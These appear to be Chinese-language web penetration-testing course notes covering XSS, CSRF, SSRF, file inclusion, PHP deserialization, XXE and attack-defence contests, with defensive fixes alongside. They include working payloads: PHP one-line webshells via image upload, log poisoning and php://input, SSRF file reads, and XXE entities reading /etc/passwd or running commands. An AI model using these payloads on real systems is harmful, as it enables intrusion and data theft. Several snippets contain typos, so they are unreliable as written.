可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过(安全狗都没有过滤)
绕过方法有很多比如:
大小写绕过
javascript伪协议
没有分号
Flash
HTML5 新标签
Fuzz进行测试
双层标签绕过
xssfuzz在线fuzz工具
https://xssfuzzer.com/fuzzer.html
XSStrike自动化工具
XSStrike 主要特点反射和 DOM XSS 扫描
多线程爬虫
Context 分析
可配置的核心
检测和规避 WAF
老旧的 JS 库扫描
智能 payload 生成器
手工制作的 HTML & JavaScript 解析器
强大的 fuzzing 引擎
盲打 XSS 支持
高效的工作流
完整的 HTTP 支持
Bruteforce payloads 支持
Payload 编码
-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟
第二十九天CSRF及SSRF漏洞案例讲解
这两个漏洞对权限提升没有太直接的关系,该漏洞对环境的类型无关紧要
有对应网站的cms源码,然后就可以伪造网站或者数据包,诱使对方点击你创建的网站,此时对方正好后台登录了授权的账号或者后台是管理员,点击你的伪造的网站就会借助他的权限进行入侵
CSRF主要利用的就是管理员本地的COOKIE
#CSRF 漏洞解释,原理等
#CSRF 漏洞检测,案例,防御等
#防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
csrf防护
1、当用户发送重要的请求时需要输入原始密码
2、设置随机 Token
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,
黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST
token防护
GET /vul/csrf/csrftoken/token_get_edit.php?sex=gg&phnotallow=1111&add=11111&email=11111&token=45096611500a646562638549385&submit=submit HTTP/1.1
Host: 10.1.1.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.1.1.7/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=p9f3jfbnbc7cucobc9djsukon3
Connection: close
从上面可以看到的是token随机字符串用来验证数据包的唯一性,由于数据包的唯一性也就导致csrf漏洞几乎不能被利用
SSRF
SSRF漏洞介绍:
SSRF漏洞(服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。
SSRF漏洞原理:
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
SSRF漏洞利用手段:
1.可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
2.攻击运行在内网或本地的有漏洞程序(比如溢出);
3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;
4.攻击内网或外网有漏洞的Web应用;
5.使用file:///协议读取本地文件(或其他协议)
http://www.xingkonglangzi.com/ssrf.php?url=192.168.1.10:3306
http://www.xingkonglangzi.com/ssrf.php?url=file:///c:/windows/win.ini
SSRF漏洞出现点:
1.分享:通过URL地址分享网页内容
2.转码服务(通过URL地址把原地址的网页内容调优,使其适合手机屏幕的浏览)
3.在线翻译
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
6.未公开的api实现及调用URL的功能
7.从URL关键字中寻找
第三十天RCE(代码及命令)执行漏洞全解
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用 代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞。同样调用系统命令处理,将造成命令执行漏洞。
PHP
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用。
反引号中的会被当做系统命令执行,例如linux中
echo `ifconfig`
会执行ifconfig的效果
第三十一天文件操作之文件包含漏洞
#文件包含漏洞
原理,检测,类型,利用,修复等
#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<!-—#include file="1.asp " -->
<!--#include file="top.aspx"-->
<c:import url="http://lthief.one/1.jsp">
<jsp:include page="head .jsp" / >
<%@ include file="head.jsp" %>
<?php Include ( 'test.php ' ) ?>
什么是文件包含
文件包含漏洞主要是程序员把一些公用的代码写在一个单独的文件中,然后使用其他文件进行包含调用,如果需要包含的文件使用硬编码,一般是不会出现安全问题,但是有时可能不确定需要包含哪些具体文件,所以就会采用变量的形式来传递需要包含的文件,但是在使用包含文件的过程中,未对包含的变量进行检查及过滤,导致外部提交的恶意数据作为变量进入到了文件包含的过程中,从而导致提交的恶意数据被执行。
本地文件包含和远程文件包含
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。
远程文件包含攻击者可以通过访问外部地址来加载远程代码。
1.本地文件包含漏洞(LFI)
本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
1.1 无限制(没有拦截与限制可以任意包含)
1.1.1 直接读取 如xxx/php?filename=test.txt等
1.1.2 跨目录读取 ../../../(跳过目录,相对路径的格式)../是上一级的目录,如果漏洞存在,文件又存在的时候,不是php文件会被读取显示在页面中.
1.1.3 文件包含图片(利用图片马进行解析) 寻找网站上传点,把php恶意代码文件改成jpg上传到网站上,本地包含引入恶意代码,当文件被引入后代码就被执行 <?php phpinfo();eval($_POST['A'];?>保存为shell.jpg 上传图片格式到网站,再用文件包含漏洞以内图片,成功执行代码,获取webshell
1.2 有限制本地文件包含
有限制本地文件包含漏洞是指代码中存在特定的前缀或者php、html等后缀,需要绕过前缀或者后缀,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。
常见的有限制本地文件包含绕过的方式主要有%00截断、路径长度截断、点号截断这几种方式。
1.2.1 %00绕过 PHP的00截断是5.2.x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。
常见利用%00截断payload:
ip/xx/xxx.phplang=../data/feedbackimg/1.gif%00.
既然时利用%00来绕过,那么为什么在这个payload中的%00后面会有一个符号点呢。
原因在于,php(5.2.xx版本)去解析php文件的主要的执行流程是在Zend/zend.c的zend_execute_scripts函数会通过zendparse去进行语法和词法解析,而zendparse是通过lex_scan去扫描出token并进行语法分析。文件名参数经过lex_scan后的数据会扫描出经过url编码的长度值,该长度值会和文件名长度值进行比较,如果长度不一样则会打开文件失败。所以这里如果以%00截断的话1.gif%00文件名的长度为23,经过url编码后为1.gif\000,lex_scan扫描的长度时24,则会打开失败。
如果以%00.来截断的话1.gif%00.,文件名的长度为24,编码后为:1.gif\000.,但扫描的长度到\000就被截断了,所以长度也为24。长度一样文件被正常打开。后面的点符号可以被替换成任何一个字符(除空格以外,因为空格不算一个字符)。
1.2.2 路径长度截断 操作系统存在最长目录的限制,可以通过输入超过最长目录的路径长度,这样系统就会将后面的路径丢弃,导致后缀截断。
windows下目录最大长度为256字节,点号需要长于256。
Linux下目录最大长度为4096字节,点号需要长于4096。输入测试代码:
注意输入路径时不要出现相邻符号相同(如:..//)
注:点号截断文件包含适用于Windows系统,需当点号的长度大于256,就可以造成截断。
1.3 日志包含
日志包含概述:日志包含漏洞属于是本地文件包含,服务器中的中间件、SSH等服务都有记录日志的功能,如果开启了记录日志功能,用户访问的日志都会存储到不同服务的相关文件中,如果日志文件的位置是默认位置或者是可以通过其他方法获取到,就可以通过访问日志将恶意代码写入到日志文件中,然后通过文件包含漏洞,包含日志中的恶意代码,获得Web服务器的权限。
典型的日志文件包含有中间件日志文件包含和SSH日志包含。
1.3.1 中间件日志文件包含 中间件日志文件包含利用条件:Web中间件日志的存储位置已知,并且有可读权限。
利用方式:首先需要开启服务器记录日志功能。在不同的系统,存放日志文件地方和文件名不同。
apache一般是/var/log/apache/access.log。
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log。
由于访问URL时,服务器会对其编码,所以得通过抓包的形式尝试注入
那么利用这一功能(利用中间件会记录访问路径到日志文件中的功能),将index.php替换成恶意代码写入到日志中。在访问的路径中添加一句话木马的恶意代码?php@eval($_POST[123]);?访问。发现会提示404错误
1.3.2 ssh日志文件包含 利用方式:在登陆目标机的ssh服务的时候,随便输入一个用户名和密码会提示登录会失败,利用这一日志存储特性,将恶意代码写入到日志文件中,进行ssh日志文件包含利用
在linux系统中,几个常见的ssh日志文件存储位置为:
/var/log/btmp记录错误的登录尝试;
/var/log/lastlog记录每个用户最后的登录信息;
/var/run/utmp记录现在登录的用户;
/var/log.boot.log:记录一些开机或者关机启动的一些服务显示的启动或者关闭的信息;
/var/log/auth.log用户认证日志;
/var/log/syslog 事件记录监控程序日志;
2.远程文件包含
当不知道对方服务器有哪些文件,能够通过url地址对远程的文件进行包含,这意味着攻击者可以将自己服务器上的文件下载到被攻击者的服务器上。因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
2.1 无限制远程文件包含
无限制远程文件包含,我们只需要将远程地址与函数一起构造,便可实现远程文件包含,如常见payload:http://192.168.1.1/fi/php?filename=http://远程ip/1.txt(包含的文件)
2.2 有限制远程包含
2.2.1 #号绕过 通过#绕过后面添加的html字符串,#号后面的html后缀会被当做fragment从而绕过。构造的payload为:http://ip/fi/05.php?filename=http://127.0.0.1/fi/test.txt%23(#需要经过url编码形成%23)
2.2.2 ?(问号)绕过 通过问号绕过后面添加的html字符串,问号后面的html后缀会被当做查询从而绕过。
利用条件:
php>=5.3 allow_url_fopen On allow_url_include On
Payload:http://ip/fi/05.php?filename=http://127.0.0.1/fi/test.txt?
远程文件包含
php支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php.ini参数设置 在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。
- allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
- allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
各协议的利用条件和方法
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的。
file://
用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
http://、https://
URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
协议 | 作用 |
php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。 |
php://output | 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 |
php://fd | (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 |
php://memory php://temp | (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。 |
php://filter参数详解
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
可用的过滤器列表(4类)
字符串过滤器 | 作用 |
string.rot13 | 等同于str_rot13(),rot13变换 |
string.toupper | 等同于strtoupper(),转大写字母 |
string.tolower | 等同于strtolower(),转小写字母 |
string.strip_tags | 等同于strip_tags(),去除html、PHP语言标签 |
转换过滤器 | 作用 |
convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
读取文件源码用法
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
使用base64是防止乱码
执行php代码用法
input需要通过post传输
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
一般步骤
查看网站的url
类似于http://127.0.0.1/include.php?file=
然后可以查看对应的操作系统,linux对大小写敏感
如file=phpinfo.phP
时网站会报错
然后就可以在file=
处进行php伪协议(php://)
的使用,input、filter等
例如利用input进行post data传输
<?php system('ls')?>
第三十二天文件操作之文件下载读取
文件下载,读取 原理,检测,利用,修复等
#利用
数据库配置文件下载或读取后续
接口密匙信息文件下载或读取后续
#文件名,参数值,目录符号
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
../ ..\ .\ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF= 、
WEB-INF
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞
下载或文件读取漏洞:
对应文件:配置文件(数据库,平台,各种等)
#各种协议调用配合
第三十三天逻辑越权之水平垂直越权
#水平,垂直越权,未授权访问
解释,原理,检测,利用,防御等
通过更换的某个 ID 之类的身份标识,从而使 A 账号获取(修改、删除等)B 账号数据。
使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。
通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作。
原理:
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示
后端安全造成:数据库
user 表(管理员和普通用户同表)
id,username,password,usertype
1,admin,123456,1
2,xiaodi,11111,2
登录用户 admin 或 xiaodi 时,代码是如何验证这个级别?(usertype 判断) 如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修 改,就是测试越权漏洞的基本。
#修复防御方案
1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源 ID,防止攻击者枚举 ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
第三十四天逻辑越权之脆弱登录及支付篡改
#登录应用功能点安全问题
检测功能点,检测,危害,修复方案等
1.登录点暴力破解
2.HTTP/HTTPS 传输
3.Cookie 脆弱点验证
4.Session 固定点测试
5.验证密文比对安全测试
#数据篡改安全问题
原理,检测,危害,修复等
参考:https://www.secpulse.com/archives/67080.html
#商品购买流程:
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
#常见篡改参数:
商品编号 ID,购买价格,购买数量,支付方式,订单号,支付状态等
#常见修改方法:
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
6000 大米测试产品
/index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%
AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uplo
ads/thumb/thumb_1393218295.jpg
5400 大米手机 cms
/index.php?m=Member&a=gobuy&iscart=0&id=70&name=%E5%A4%A7%E7%B1%B3%E6%89%8B%E6%9
C%BACMS&qty=2&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_13
93218295.jpg
index.php?s=/wap/pay/wchatQrcodePay 微信支付
index.php?s=/wap/pay/alipay 支付宝支付
index.php?s=http://www.xiaodi8.com/alipay 调用其他的支付接口
$pay_name=$_GET['s'];
6000 是存储到数据库里,安全的做法:以数据库的数据值为准
第三十五天逻辑越权之找回机制及接口安全
#找回重置机制
客户端回显,Response 状态值,验证码爆破,找回流程绕过等
#接口调用乱用
短信轰炸,来电轰炸等
第三十六天逻辑越权之验证码与Token及接口
第三十七天反序列化PHP
PHP反序列化
#PHP 反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
第三十八天反序列化JAVA
第三十九天XXE&XML之利用检测绕过全解
1、xml基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
什么是DTD?
文档类型定义(DTD)可定义合法的XML文档构建模块。DTD可被成行地声明与XML文档中,也可作为一个外部引用
<?xml versinotallow="1.0"?>---XML声明
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file://etc/passwd">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
2、XML与HTML的主要差异
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
3、xml示例
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
4、xxe工具
XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。
5、xxe实战
文件读取
利用file:// php://等伪协议进行文件获取(获取代码最好使用php://file://进行base64编码)
php://filter/convert.base64-encode/resource=1.php
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=1.php">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>---内容在$xxe处回显
系统文件读取
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file://etc/passwd">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
内网主机扫描
利用协议和ip地址最后一位字典遍历,结合Brup爆破返回数据包长度判断
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
端口扫描
代码将尝试于端口8080通信,根据响应事件/长度攻击者可以判断该端口是否被开启
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "http://192.168.1.1:8080">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的,且PHP的expect模块被加载到了易受攻击的系统或处理XML的内部应用上,那么我们就可以执行如下命令
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "expect://id">]>----DTD部分
<catalog>
<core id ="test101">
<author>John</author>
<title>I love XML</title>
<category>Computers</category>------XML部分
<pricr>9.99</pricr>
<data>2018-10-01</data>
<description>&xxe;</description>
第七十六天Python开发-内外网收集Socket&子域名&DNS
(1)查询 IP ①功能 输入域名如 www.baidu.com;返回解析的 IP ②原理 Python 中的 socket 模块的 gethosbyname 函数能够实现解析域名 IP 地址的功
(2)whois 查询 ①功能 输入目标地址,能够查询目标的 whois 信息 ②原理 Python 的 whois 模块的 whois 函数能够获取目标的 whois 信息
(3)判断 CDN ①功能 输入目标地址,能够判断目标是否是 CDN 服务器 ②原理 Python 通过 os 库的 system 函数调用执行系统的 nslookup 命令来解析目标地址,如果解析 目标地址的 IP 地址过多,那么说明使用了 CDN 服务器
(4)子域名查询 ①实现功能 查询目标的子域名 ②原理 如输入 www.baidu.com;先正则去掉 www;然后加载字典,如内容为 aa;与处理后的 url 进行 拼接,即 aa.baidu.com;然后调用 socket 模块的 gethostbyname 函数来判断该域名是否能够 解析 IP,如果能说明该域名存在,不能则说明不存在
第八十天红蓝对抗-1
规则简介
- 出题方会给每一支队伍部署同样环境的主机,主机有一台或者多台。
- 拿到机器后每个队伍会有一定的加固时间或没有加固时间,这个视规则而定。
- 每个服务、数据库、主机上都会可能存在 flag 字段,并且会定时刷新。通过攻击拿到 flag 后需要 提交到裁判机进行得分,一般会提供指定的提交接口。下一轮刷新后,如果还存在该漏洞,可以继 续利用漏洞获取 flag 进行得分。
- AWD模式按轮次进行,flag会在一定时间内刷新,一般为五到十分钟。考题一般为web和PWN方 面,漏洞一般也是常见漏洞,一台服务器不止一个漏洞,有多个漏洞。一般不会太难,尽可能多找 到漏洞。
比赛流程
- 比赛形式一般为主办方会给一个普通权限的用户让你SSH连接上服务器。普通权限很多都不可更改
- 连接上服务器后迅速进行备份和代码审计。此时需要分工进行,团队一般为三到四人。赛前一定要做好 准备。
- 当你发现一个漏洞可以进行攻击的时候,写好批量攻击脚本进行拿分,同时需要队友将自己这个漏洞修 补。
- 看比赛形式,有的比赛删库比pick失败扣的分数相同或者更多,一般分为三种扣分状态。pick失败, 被攻击,pick失败且被攻击。所以如果pick失败和被攻击扣分相同的话可以考虑先删库。毕竟pick失败 和被攻击一起扣的分更多。
- 比赛时一般不能使用工具或者WAF等进行防御(有的比赛可以) 所以要注意比赛规则
重点
- 比赛时web题目一般为一个网站cms 所以平时要熟悉一些常见的cms以及利用漏洞
- 比赛漏洞一般多为简单的文件上传、文件包含、命令执行、反序列化等。
- 比赛尽可能多利用命令执行漏洞或木马(方便批量化拿flag)
- 溯源攻击 查看流量以及日志 (参加ciscn线下赛的时候流量文件自己保存在了根目录 在weshark等 抓包软件内打开就可以查看)
必备操作
- 备份网站文件
- 修改数据库默认密码
- 修改网页登陆端一切弱密码
- 查看是否留有后门账户
- 关闭不必要端口,如远程登陆端口
- 使用命令匹配一句话特性
- 关注是否运行了“特殊”进程
- 权限高可以设置防火墙或者禁止他人修改本目录